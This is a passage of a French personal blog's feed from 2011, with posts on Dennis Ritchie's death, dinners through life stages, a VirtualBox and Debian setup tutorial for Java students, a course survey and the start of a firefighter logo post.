&lt;p&gt;Le hasard faisait que le WE du 8 et 9 octobre 2011 décédait &lt;a href="http://fr.wikipedia.org/wiki/Dennis_Ritchie"&gt;Dennis MacAlistair Ritchie&lt;/a&gt; (à droite, version geek année 60, sur la photo issue de Wikipédia) co-auteur de ce livre de référence, fondateur du langage C et grand contributeur des systèmes UNIX. Cette nouvelle, si vous lisez l&amp;rsquo;actualité pas spécialement informatique est passée plus ou moins inaperçue. Sans doute parce que le personnage est beaucoup moins médiatique que d&amp;rsquo;autres. Il n’empêche que, je cite;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;« Si on arrête d’utiliser ce que &lt;strong&gt;Steve Jobs&lt;/strong&gt; a apporté, 5% des gens n’aurait plus d’ordinateurs et beaucoup n’aurait plus de baladeur/smartphone.&lt;br&gt;
Si on arrête d’utiliser ce que &lt;strong&gt;Dennis Ritchie&lt;/strong&gt; a apporté, 95% de ce qui est informatique ne fonctionne plus (serveur bancaire, informatique dans les avions/trains/voitures, en bien sur tout nos PC, même les Mac) »&lt;br&gt;
&lt;a href="http://www.maitre-eolas.fr/post/2011/10/13/In-Memoriam-Dennis-MacAlistair-Ritchie#c152885"&gt;Un commentaire chez Maitre Éolas qui cite « on ne sait pas qui ».&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="http://www.maitre-eolas.fr/post/2011/10/13/In-Memoriam-Dennis-MacAlistair-Ritchie#c152885"&gt;Et je plussoie également&lt;/a&gt; &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt; un autre commentaire lu sur &lt;a href="https://linuxfr.org/nodes/87797"&gt;LinuxFR&lt;/a&gt; insistant sur la différence entre les personnages de &lt;strong&gt;Steve Jobs&lt;/strong&gt; et &lt;strong&gt;Dennis Ritchie&lt;/strong&gt;. L&amp;rsquo;un , personnage médiatique indispensable à la survie de sa société, l&amp;rsquo;autre, personnage discret ayant cédé son travail à tous…&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Steve Jobs emporte son talent dans la tombe.&lt;br&gt;
Dennis Ritchie nous l&amp;rsquo;a complètement abandonné, au point qu&amp;rsquo;on a oublié de qui on le tenait.  &lt;/p&gt;
&lt;p&gt;&lt;a href="http://linuxfr.org/nodes/87797/comments/1280344"&gt;Commentaire sur linuxFR&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Bref, les gens qui ont fait le monde du libre, ça me laisse toujours à la fois rêveur… et triste.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Et moi, qu&amp;rsquo;ai-je apporté au libre ?&lt;/strong&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;&lt;em&gt;nico&lt;/em&gt; me signale que : les apports du c99 (&lt;a href="http://home.datacomm.ch/t_wolf/tw/c/c9x_changes.html" title="http://home.datacomm.ch/t_wolf/tw/c/c9x_changes.html"&gt;http://home.datacomm.ch/t_wolf/tw/c&amp;hellip;&lt;/a&gt;) au c89 sont quand même légions.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Même si je ne suis pas tout à fait d&amp;rsquo;accord sur le tout&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Qui vient manger ce soir ?</title><link href="http://blog.namok.be/2011-10-13-qui-vient-manger-ce-soir.html" rel="alternate"/><published>2011-10-13T00:00:00+02:00</published><updated>2011-10-13T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2011-10-13:/2011-10-13-qui-vient-manger-ce-soir.html</id><summary type="html">Qui vient manger ce soir ?</summary><content type="html">&lt;p&gt;&lt;img alt="Fille sucette, langue rouge" src="/images/adobe-fille-sucette-langue.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Jadis je faisais des bouffes de célibataires entre potes, ensuite, j&amp;rsquo;ai fais des bouffes de &amp;ldquo;jeunes couples respirant le bonheur l&amp;rsquo;insouciance&amp;rdquo;. Plus tard (et encore maintenant) je fais des bouffes en famille et ces derniers temps, je fais des bouffes de… &lt;strong&gt;copines divorcées&lt;/strong&gt;…&lt;/p&gt;
&lt;h4&gt;Bouffe entre (jeunes) célibataires (ou en couple pour quelques semaines)&lt;/h4&gt;
&lt;p&gt;Ah, les bouffes (ou plutôt les moments partagés) lorsque l&amp;rsquo;on était au &lt;em&gt;kot&lt;/em&gt; (à &lt;a href="http://ucl.be/"&gt;LLN&lt;/a&gt; ). C&amp;rsquo;était vraiment le bon temps (oui, je regrette un peu, comme pas mal de vieux nostalgiques, « l&amp;rsquo;époque Louvain-la-Neuve »). Pas de soucis (hormis s&amp;rsquo;occuper un peu des cours), plein de rencontres… et le regret de ne pas avoir rencontré encore plus de gens…&lt;/p&gt;
&lt;h4&gt;Bouffe de « jeunes couples »&lt;/h4&gt;
&lt;p&gt;Quelques années plus tard. On est (presque) tous en couples, on est bourré de principe (et de vin et/ou de Duvel) et on dit un nombre incroyable de conneries lorsque l&amp;rsquo;on juge les autres…&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Je ne ferai jamais ça avec mes enfants&lt;/li&gt;
&lt;li&gt;À cette heure ci avec un si petit…&lt;/li&gt;
&lt;li&gt;Si tu me fais ce coup-là, je ne te le pardonnerai pas&lt;/li&gt;
&lt;li&gt;…&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;On a toute la soirée pour refaire le monde… avec plein de certitudes de jeunes &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;…&lt;/p&gt;
&lt;h4&gt;Bouffe en famille&lt;/h4&gt;
&lt;blockquote&gt;
&lt;p&gt;Avant j&amp;rsquo;avais des principes, maintenant j&amp;rsquo;ai des enfants&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;C&amp;rsquo;est le temps des soirée sympas où il est (presque) inutile d&amp;rsquo;essayer d&amp;rsquo;entamer une conversation profonde avant « pas d&amp;rsquo;heure » puisqu&amp;rsquo;il règne là une ambiance semblable à une _garderie de maternelle à l&amp;rsquo;intérieur en fin de journée pluvieuse&amp;rdquo; &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;. Mais c&amp;rsquo;est chouette car on apprend à tenir une conversation en étant sans cesse coupé/interrompu…&lt;/p&gt;
&lt;h4&gt;Bouffe de copines divorcées&lt;/h4&gt;
&lt;p&gt;… et maintenant, je me retrouve parfois le seul mec (d&amp;rsquo;accord, ça me plait bien) entouré de filles et de leurs enfants. Je porte le tablier et je prépare la bouffe dans la cuisine (ça me convient très bien aussi).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;En est-on déjà arrivé (un peu sans le savoir et pourtant &lt;a href="http://fr.wikipedia.org/wiki/Le_Meilleur_des_mondes"&gt;Aldous Huxley&lt;/a&gt; nous l&amp;rsquo;avait dit) au stade où l&amp;rsquo;on ne vit plus en couple.&lt;/strong&gt; Combien de nos amis sont dans un schéma (et je suis (un peu) dans le tas et ce schéma n&amp;rsquo;est pas (nécessairement) noir quoique (sans doute) triste):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;dix ans de couples et je fais mes enfants;&lt;/li&gt;
&lt;li&gt;dix ans de garde alternée et j&amp;rsquo;en profite pour faire ma crise de la trentaine (je suis célibataire une semaine sur deux);&lt;/li&gt;
&lt;li&gt;dix ans de (re)couple avec les enfants de chacun qui sont déjà grands afin de ne pas mourir tout seul;&lt;/li&gt;
&lt;li&gt;…&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;… j&amp;rsquo;ai toujours un (très hypothétique) faible espoir que lorsque je reviens dans la salle à manger, les filles soient nues sur la table attendant le seul mec, mais non rien. &lt;em&gt;(Tiens ! Qui a lu jusqu&amp;rsquo;au bout, cette dernière phrase ou j&amp;rsquo;expose au vu de tous mes plus vils fantasmes :-) ?)&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Tiens pour rappel, un jeune c&amp;rsquo;est 18-25 (dans ces eaux là). Dans le métro ce matin, je lis; des jeunes de 10 ans. Non ! À 10 ans on n&amp;rsquo;est &lt;strong&gt;pas encore&lt;/strong&gt; adolescent… on est donc très loin d&amp;rsquo;être jeune.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Pour ceux sans enfant: c&amp;rsquo;est plein plein de bruits et de cris entrecoupés de pleurs.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Et on rejoue avec les machines virtuelles</title><link href="http://blog.namok.be/2011-09-26-virtualbox-debian.html" rel="alternate"/><published>2011-09-26T00:00:00+02:00</published><updated>2011-09-26T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2011-09-26:/2011-09-26-virtualbox-debian.html</id><summary type="html">Et on rejoue avec les machines virtuelles</summary><content type="html">&lt;p&gt;J&amp;rsquo;avais pas mal joué avec &lt;a href="http://vmware.com/fr"&gt;vmware&lt;/a&gt; jadis et j&amp;rsquo;avais laissé tomber pour cause de performances moyennement désastreuses et (surtout) parce que je n&amp;rsquo;en avais plus l&amp;rsquo;utilité. Et pourtant, j&amp;rsquo;en ai usé pour les manips &lt;a href="http://www.heb.be/esi/programmes/agr2i_fr.htm"&gt;d&amp;rsquo;administration et gestion des réseaux&lt;/a&gt; … ensuite j&amp;rsquo;ai trouvé plus simple de m&amp;rsquo;amuser avec des machines physiques à l&amp;rsquo;école.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai l&amp;rsquo;impression aujourd&amp;rsquo;hui que l&amp;rsquo;utilisation de la virtualisation revient en force… la faute à la puissance des machines actuelles sans doute. Nous (l&amp;rsquo;équipe Java) voulons essayer cette année de proposer aux étudiants de premières de travailler dans une machine virtuelle plutôt que d&amp;rsquo;installer, d&amp;rsquo;emblée, un &lt;em&gt;dual boot&lt;/em&gt; linux/MS Windows. Nous pensons que cette difficulté (l&amp;rsquo;installation en &lt;em&gt;dual boot&lt;/em&gt;) peut venir plus tard et que c&amp;rsquo;est (pédagogiquement) mieux de leur donner facilement un environnement de travail « à l&amp;rsquo;arrivée »… quitte à changer plus tard.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;essaie donc l&amp;rsquo;installation de &lt;a href="http://virtualbox.org/"&gt;Virtualbox&lt;/a&gt; contenant une machine &lt;em&gt;&lt;a href="http://debian.org/"&gt;linux debian&lt;/a&gt;&lt;/em&gt;. Voici quelques explications et &lt;em&gt;screenshots&lt;/em&gt;.&lt;/p&gt;
&lt;h3&gt;Installation de Virtualbox&lt;/h3&gt;
&lt;p&gt;Pour ma part, j&amp;rsquo;ai téléchargé le &lt;em&gt;.deb&lt;/em&gt; qui va bien sur le &lt;a href="http://www.virtualbox.org/wiki/Downloads"&gt;site de Virtualbox&lt;/a&gt; et l&amp;rsquo;installation s&amp;rsquo;est déroulée sans soucis.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;dpkg&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;virtualbox-4.1&lt;span class="se"&gt;\_&lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;.1.2-73507~Debian~squeeze&lt;span class="se"&gt;\_&lt;/span&gt;i386.deb
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Notez que &lt;em&gt;virtualbox&lt;/em&gt; est dispo dans les dépots debian. Ce qui fait que la commande suivante fonctionne très bien aussi. (&lt;strong&gt;2014&lt;/strong&gt;). Et depuis 2015, &lt;code&gt;apt-get / apt-cache&lt;/code&gt; sont devenus &lt;code&gt;apt&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;apt&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;virtualbox
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;J&amp;rsquo;ai également pris le temps d&amp;rsquo;essayer sur une machine MS Windows 7 &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; en téléchargeant &lt;a href="http://download.virtualbox.org/virtualbox/4.1.2/VirtualBox-4.1.2-73507-Win.exe"&gt;VirtualBox-4.1.2-73507-Win.exe&lt;/a&gt; et quelques «clics suivants» plus tard, c&amp;rsquo;était installé.&lt;/p&gt;
&lt;p&gt;La création d&amp;rsquo;une machine virtuelle se passe également sans soucis.&lt;/p&gt;
&lt;p&gt;&lt;img alt="screenshot-virtualbox-09.png" src="/images/screenshot-virtualbox-09_s.png" title="screenshot-virtualbox-09.png, sept. 2011"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Je peux choisir la &lt;strong&gt;taille de la RAM allouée à la VM&lt;/strong&gt;. Pour ma part, j&amp;rsquo;ai 2GiB de RAM et j&amp;rsquo;en utilise rarement plus de 40%. Je peux donc consacrer 512MiB de RAM à la VM.&lt;/li&gt;
&lt;li&gt;Je crée un &lt;strong&gt;disque dur virtuel&lt;/strong&gt; de type VDI et de taille 8GiB. Je choisis de ne pas allouer directement tout l&amp;rsquo;espace (je ne veux pas trainer un fichier de 8GiB) et je constaterai après installation que ce disque virtuel fait 1.3GiB. C&amp;rsquo;est bien.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;… la machine est crée, reste à y installer un OS. Dans notre cas, &lt;strong&gt;debian&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;Installation de debian&lt;/h3&gt;
&lt;p&gt;En cherchant un CD gravé de debian &lt;em&gt;squeeze&lt;/em&gt;, j&amp;rsquo;ai une bonne surprise; pas besoin de CD, une image ISO suffit amplement. Je fais donc une installation classique de debian. La VM reconnait le réseau et fait du NAT toute seule. J&amp;rsquo;ai une machine debian fonctionnelle en moins de 20 minutes.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai &lt;strong&gt;délibérément&lt;/strong&gt; choisi de ne pas installer d&amp;rsquo;environnement graphique car je veux « faire comme si » je travaille dans un terminal via SSH (et je veux être sur que ce soit utilisable avec une petite configuration).&lt;/p&gt;
&lt;p&gt;Remarques&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Si je choisis d&amp;rsquo;avoir plusieurs écrans, j&amp;rsquo;ai plusieurs fenêtres qui s&amp;rsquo;ouvrent et c&amp;rsquo;est gênant.&lt;/li&gt;
&lt;li&gt;Pour accéder aux différents &lt;em&gt;tty&lt;/em&gt;, il faut passer en « mode redimentionné » et les combinaisons de touches &lt;code&gt;Alt F1&lt;/code&gt;, &lt;code&gt;Alt F2&lt;/code&gt;… fonctionnent ainsi que &lt;code&gt;Alt →&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Je ne peux tester le fonctionnement du « presse-papier partagé » car la souris n&amp;rsquo;est pas prise en charge par la console.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Il est possible de sauvegarder une &lt;em&gt;application virtuelle&lt;/em&gt;, ce qui va permettre de facilement partager une machine virtuelle installée ..&lt;/p&gt;
&lt;h3&gt;Installation rapide d&amp;rsquo;un environnement de travail minimaliste &amp;ldquo;Linux-Java-ÉSI&amp;rdquo;&lt;/h3&gt;
&lt;p&gt;Pour les « décideurs pressés », comment faire l&amp;rsquo;installation le plus rapidement possible. Il s&amp;rsquo;agit ici de configurer une machine virtuelle et de ne &lt;strong&gt;pas&lt;/strong&gt; installer une machine linux mais d&amp;rsquo;utiliser une image pré-installée. Cette image se trouve dans un fichier &lt;code&gt;ova&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai testé sur une machine MS Windows 7 et ça m&amp;rsquo;a pris moins de 15 minutes, téléchargement non compris.&lt;/p&gt;
&lt;p&gt;Prérequis, je dispose&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;d&amp;rsquo;un OS MS Windows 7 (allumé),&lt;/li&gt;
&lt;li&gt;du fichier VirtualBox-4.1.2-73507-Win.exe&lt;/li&gt;
&lt;li&gt;du fichier application virtuelle &lt;em&gt;Linux-pour-java.ova&lt;/em&gt; (&lt;a href="https://namok.be/brol/virtualbox/Linux-pour-Java.ova"&gt;dowload&lt;/a&gt; 432MiB)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="/images/screenshot-virtualbox-win7-01.png"&gt;&lt;img alt="screenshot-virtualbox-win7-01.png" src="/images/screenshot-virtualbox-win7-01.png" title="screenshot-virtualbox-win7-01.png, sept. 2011" width="350px"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;installe Virtualbox (avec quelques «clic suivant») et j&amp;rsquo;enchaine par l&amp;rsquo;importation de l&amp;rsquo;application virtuelle ….&lt;/p&gt;
&lt;p&gt;&lt;a href="/images/screenshot-virtualbox-win7-02.png"&gt;&lt;img alt="screenshot-virtualbox-win7-02.png" src="/images/screenshot-virtualbox-win7-02.png" title="screenshot-virtualbox-win7-02.png, sept. 2011" width="350px"&gt;&lt;/a&gt; &lt;br&gt;
&lt;a href="/images/screenshot-virtualbox-win7-04.png"&gt;&lt;img alt="screenshot-virtualbox-win7-04.png" src="/images/screenshot-virtualbox-win7-04.png" title="screenshot-virtualbox-win7-04.png, sept. 2011" width="350px"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="/images/screenshot-virtualbox-win7-05.png"&gt;&lt;img alt="screenshot-virtualbox-win7-05.png" src="/images/screenshot-virtualbox-win7-05.png" title="screenshot-virtualbox-win7-05.png, sept. 2011" width="350px"&gt;&lt;/a&gt; &lt;br&gt;
&lt;a href="/images/screenshot-virtualbox-win7-07.png"&gt;&lt;img alt="screenshot-virtualbox-win7-07.png" src="/images/screenshot-virtualbox-win7-07.png" title="screenshot-virtualbox-win7-07.png, sept. 2011" width="350px"&gt;&lt;/a&gt; &lt;br&gt;
&lt;a href="/images/screenshot-virtualbox-win7-08.png"&gt;&lt;img alt="screenshot-virtualbox-win7-08.png" src="/images/screenshot-virtualbox-win7-08.png" title="screenshot-virtualbox-win7-08.png, sept. 2011" width="350px"&gt;&lt;/a&gt; &lt;br&gt;
&lt;a href="/images/screenshot-virtualbox-win7-09.png"&gt;&lt;img alt="screenshot-virtualbox-win7-09.png" src="/images/screenshot-virtualbox-win7-09.png" title="screenshot-virtualbox-win7-09.png, sept. 2011" width="350px"&gt;&lt;/a&gt;  &lt;/p&gt;
&lt;p&gt;J&amp;rsquo;obtiens&lt;/p&gt;
&lt;p&gt;&lt;img alt="screenshot-virtualbox-win7-11.png" src="/images/screenshot-virtualbox-win7-11.png" title="screenshot-virtualbox-win7-11.png, sept. 2011"&gt;&lt;/p&gt;
&lt;h2&gt;Accès à une clé USB&lt;/h2&gt;
&lt;p&gt;Comment faire pour accéder à une clé USB se trouvant sur l&amp;rsquo;hôte à partir de la machine virtuelle &lt;em&gt;debian&lt;/em&gt; que l&amp;rsquo;on vient de lancer ?&lt;/p&gt;
&lt;p&gt;La machine, en l&amp;rsquo;état, n&amp;rsquo;est pas prête pour détecter votre clé USB (si vous voulez transférer des fichiers d&amp;rsquo;un système à un autre). Pour utiliser votre clé sur la machine virtuelle proposée:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;autoriser l&amp;rsquo;USB sur la machine virtuelle et décocher USB2;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;dans la machine virtuelle, se connecter en root;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;voir si la clé USB est &amp;ldquo;présente&amp;rdquo; en faisant &lt;code&gt;ls /dev/sd [TAB][TAB]&lt;/code&gt; … et voir si &lt;code&gt;/dev/sdb1&lt;/code&gt; est présent;&lt;/li&gt;
&lt;li&gt;créer un répertoire &lt;code&gt;/media/usb&lt;/code&gt; (&lt;code&gt;mkdir /media/usb&lt;/code&gt;);&lt;/li&gt;
&lt;li&gt;éditer le fichier &lt;code&gt;/etc/fstab&lt;/code&gt; et y ajouter la ligne suivante &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;/dev/sdb1&lt;span class="w"&gt; &lt;/span&gt;/media/usb&lt;span class="w"&gt; &lt;/span&gt;ntfs&lt;span class="w"&gt; &lt;/span&gt;users,noauto,uid&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1000&lt;/span&gt;,gid&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
-   monter la clé en tant qu&amp;rsquo;utilisateur normal (&lt;em&gt;anakin&lt;/em&gt;);&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;mount&lt;span class="w"&gt; &lt;/span&gt;/media/usb
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;ensuite vous pouvez copier des fichiers de ce répertoire vers tout autre, par ex:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;cp&lt;span class="w"&gt; &lt;/span&gt;/media/usb/*&lt;span class="w"&gt; &lt;/span&gt;~
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Et ça roule …&lt;/p&gt;
&lt;p&gt;Pour la route, un petit screencast de « Hello world » en java sur la machine fraichement installée …&lt;/p&gt;
&lt;div style="position:relative;padding-bottom:56.25%;height:0;overflow:hidden;"&gt; &lt;iframe style="width:100%;height:100%;position:absolute;left:0px;top:0px;overflow:hidden" frameborder="0" type="text/html" src="https://www.dailymotion.com/embed/video/xlbgu6_screencat-virtualbox-helloworld_tech" width="100%" height="100%" allowfullscreen title="Dailymotion Video Player" &gt; &lt;/iframe&gt; &lt;/div&gt;

&lt;p&gt;&lt;a href="http://www.dailymotion.com/video/xlbgu6_screencat-virtualbox-helloworld_tech"&gt;screencat-virtualbox-HelloWorld&lt;/a&gt; &lt;em&gt;par &lt;a href="http://www.dailymotion.com/Pinkilla"&gt;Pinkilla&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Bon amusement.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;À lire aussi&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="2011-03-28-Utilisation-de-constantes-en-Java.html"&gt;Utilisation de constantes en Java&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2011-03-24-Math.random-versus-Random.html"&gt;Math random versus Random&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2011-03-01-Unicode-et-flux-en-Java.html"&gt;Unicode et flux en Java&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2009-11-18-Je-travaille-dans-une-ecole-imaginaire.html"&gt;Je travaille dans une école imaginaire&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2009-11-30-unicode-UTF8-UTF16-UTF32-et-tutti-quanti.html"&gt;Unicode, UTF8, UTF16, UTF32, … et tutti quanti&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Je pense qu&amp;rsquo;il faut que l&amp;rsquo;on salue l&amp;rsquo;effort !&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Si la clé est en ext_i_, sinon il faudra préciser le bon système de fichier&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Un petit sondage pour la rentrée</title><link href="http://blog.namok.be/2011-09-01-Un-petit-sondage-pour-la-rentree.html" rel="alternate"/><published>2011-09-01T00:00:00+02:00</published><updated>2011-09-01T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2011-09-01:/2011-09-01-Un-petit-sondage-pour-la-rentree.html</id><summary type="html">Un petit sondage pour la rentrée</summary><content type="html">&lt;p&gt;&lt;img alt="School__s_Out___Forever_by_f0ll0wTheReaper.jpg" src="/images/School__s_Out___Forever_by_f0ll0wTheReaper.jpg" title="School__s_Out___Forever_by_f0ll0wTheReaper.jpg, oct. 2013" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est la rentrée des profs ! Comme si l&amp;rsquo;on ne travaillait que du 1 septembre au 30 juin ;-)&lt;/p&gt;
&lt;p&gt;Bref, dans le cadre de mon cours de &lt;em&gt;Programmation interactive multimédia&lt;/em&gt; à &lt;a href="http://epse.be/"&gt;l&amp;rsquo;ÉPSE&lt;/a&gt;, je me pose des questions quant-au contenu du cours (et oui, on se remet en question… tout le temps). Pour ce cours, bien que je dispose d&amp;rsquo;un programme (je le précise car à &lt;a href="http://heb.be/esi"&gt;l&amp;rsquo;ÉSI&lt;/a&gt; ce n&amp;rsquo;est pas le cas) je peux adapter le contenu du cours en fonction des avis/attentes des acteurs du métier ^^.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est pourquoi, je demande (rassurez vous, j&amp;rsquo;ai fait aussi la demande par mail, histoire d&amp;rsquo;avoir des réponses) un peu l&amp;rsquo;avis autour de moi. Ceux qui voudront bien répondre au sondage suivant seront mille fois bénis… et me consacrerons &lt;strong&gt;moins de 15 min&lt;/strong&gt; de leur temps.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="https://docs.google.com/spreadsheet/viewform?formkey=dGFwbkllelBUT3NZcEhsbFBOWlo5b0E6MQ"&gt;Vers le sondage…&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="screenshot-enquete-php-1.png" src="/images/screenshot-enquete-php-1.png" title="screenshot-enquete-php-1.png, oct. 2013"&gt;&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo DeviantArt, &lt;a href="http://f0ll0wthereaper.deviantart.com/art/School-s-Out-Forever-72687631"&gt;f0ll0wTheReaper&lt;/a&gt;&lt;/em&gt;&lt;br&gt;
&lt;em&gt;Les résultats de l&amp;rsquo;enquête [&lt;a href="/pdf/20110901-enquete-FormationPHPenBACinfographie.pdf"&gt;pdf&lt;/a&gt;]&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Proposition de logo pour les pompiers, zone Hainaut ouest</title><link href="http://blog.namok.be/2011-08-25-Proposition-de-logo-pour-les-pompiers-zone-hainaut-ouest.html" rel="alternate"/><published>2011-08-25T00:00:00+02:00</published><updated>2011-08-25T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2011-08-25:/2011-08-25-Proposition-de-logo-pour-les-pompiers-zone-hainaut-ouest.html</id><summary type="html">Proposition de logo pour les pompiers, zone Hainaut ouest</summary><content type="html">&lt;p&gt;&lt;img alt="logo-pompier-zoneHO-800.png" class="right" src="/images/logo-pompier-zoneHO-800.png" title="logo-pompier-zoneHO-800.png, août 2011" width="100px"&gt;&lt;/p&gt;
&lt;p&gt;Début des vacances, je recevais (ainsi que tous mes collègues pompiers) une demande de logo pour la &lt;em&gt;zone opérationnelle du Hainaut ouest&lt;/em&gt;.&lt;/p&gt;
